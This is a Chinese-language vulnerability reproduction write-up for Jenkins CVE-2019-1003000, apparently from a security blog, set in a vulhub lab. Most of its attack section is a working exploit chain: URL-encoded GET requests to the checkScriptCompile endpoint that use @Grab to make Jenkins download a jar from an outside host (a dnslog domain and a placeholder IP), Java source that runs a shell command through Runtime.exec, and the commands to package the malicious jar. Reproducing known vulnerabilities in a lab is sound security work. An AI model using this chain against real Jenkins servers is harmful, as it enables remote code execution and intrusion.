Jenkins远程代码执行漏洞(CVE-2019-1003000)
漏洞简介
该漏洞存在于Declarative Plugin 1.3.4.1之前的版本, Groovy Plugin 2.61.1之前的版本以及 Script Security Plugin 1.50之前的版本。该漏洞通过将AST转换注释(如@Grab)应用于源代码元素,可以在脚本编译阶段避免脚本安全沙箱保护。所以会造成具有“Overall/Read”权限的用户或能够控制SCM中的Jenkinsfile或者sandboxed Pipeline共享库内容的用户可以绕过沙盒保护并在Jenkins主服务器上执行任意代码。
影响版本
Declarative Plugin < 1.3.4.1
Groovy Plugin < 2.61.1
Script Security Plugin < 1.50
漏洞复现
复现环境
使用vulhub中的jenkins/CVE-2018-1000861即可复现
复现步骤
该漏洞利用需要将恶意代码制作成jar包,放到远程的服务器上,发送请求让Jenkins获取并执行该jar包,从而达到命令执行的目的。
@GrabConfig(disableChecksums=true)
@GrabResolver(name='test', root='http://9mdvs1.dnslog.cn')
@Grab(group='test.sec', module='test', version='1')
import Payload;
请求包如下:
GET /securityRealm/user/admin/descriptorByName/org.jenkinsci.plugins.workflow.cps.CpsFlowDefinition/checkScriptCompile?value=@GrabConfig(disableChecksums=true)%0A@GrabResolver(name=%27test%27,%20root=%27http://kv0bn5.dnslog.cn%27)%0A@Grab(group=%27test.sec%27,%20module=%27test%27,%20version=%271%27)%0Aimport%20Payload; HTTP/1.1
Host: host
User-Agent: Mozilla/5.0 (Macintosh; Intel Mac OS X 10_13_6) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/69.0.3497.81 Safari/537.36
Accept-Encoding: gzip, deflate
Accept: */*
Connection: close
查看dnslog记录:
利用该漏洞命令执行的方式:
1.创建一个java文件,保存为jkrce.java代码如下:
public class jkrce {
public jkrce() {
try {
String payload = "touch /tmp/test11111";
String[] cmds = { "/bin/bash", "-c", payload };
java.lang.Runtime.getRuntime().exec(cmds);
} catch (Exception e) {
}
}
}
2.创建文件夹META-INF/serverices/,编译并写jkrce类到META-INF/serverices/org.codehaus.groovy.plugins.Runners里,如下:
javac jkrce.java
mkdir -p META-INF/services/
echo jkrce > META-INF/services/org.codehaus.groovy.plugins.Runners
jar cvf jenkins-1.jar ./
3.在公网web服务器目录里,创建路径/tools/jenkins/1/ 这个路径要与下一步中的路径一致,并将上一步生成的jar文件放到该目录下
mkdir /tools/jenkins/1/
GET /securityRealm/user/admin/descriptorByName/org.jenkinsci.plugins.workflow.cps.CpsFlowDefinition/checkScriptCompile?value=@GrabConfig(disableChecksums=true)%0a@GrabResolver(name=%27payload%27,root=%27http://xxx.xxx.xxx.xxx/%27)%0a@Grab(group=%27tools%27,module=%27jenkins%27,version=%271%27)%0aimport%20jkrce; HTTP/1.1
Host: host
User-Agent: Mozilla/5.0 (Macintosh; Intel Mac OS X 10_13_6) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/69.0.3497.81 Safari/537.36
Accept-Encoding: gzip, deflate
Accept: */*
Connection: close
5.进入docker查看,发现成功创建文件
注:
这个jar包需要jdk版本与服务器版本一致,否则报错,vulhub的环境为52.0 即jdk1.8
参考链接
https://www.jozxing.cc/archives/1696
漏洞检测
安全小工坊
扫描二维码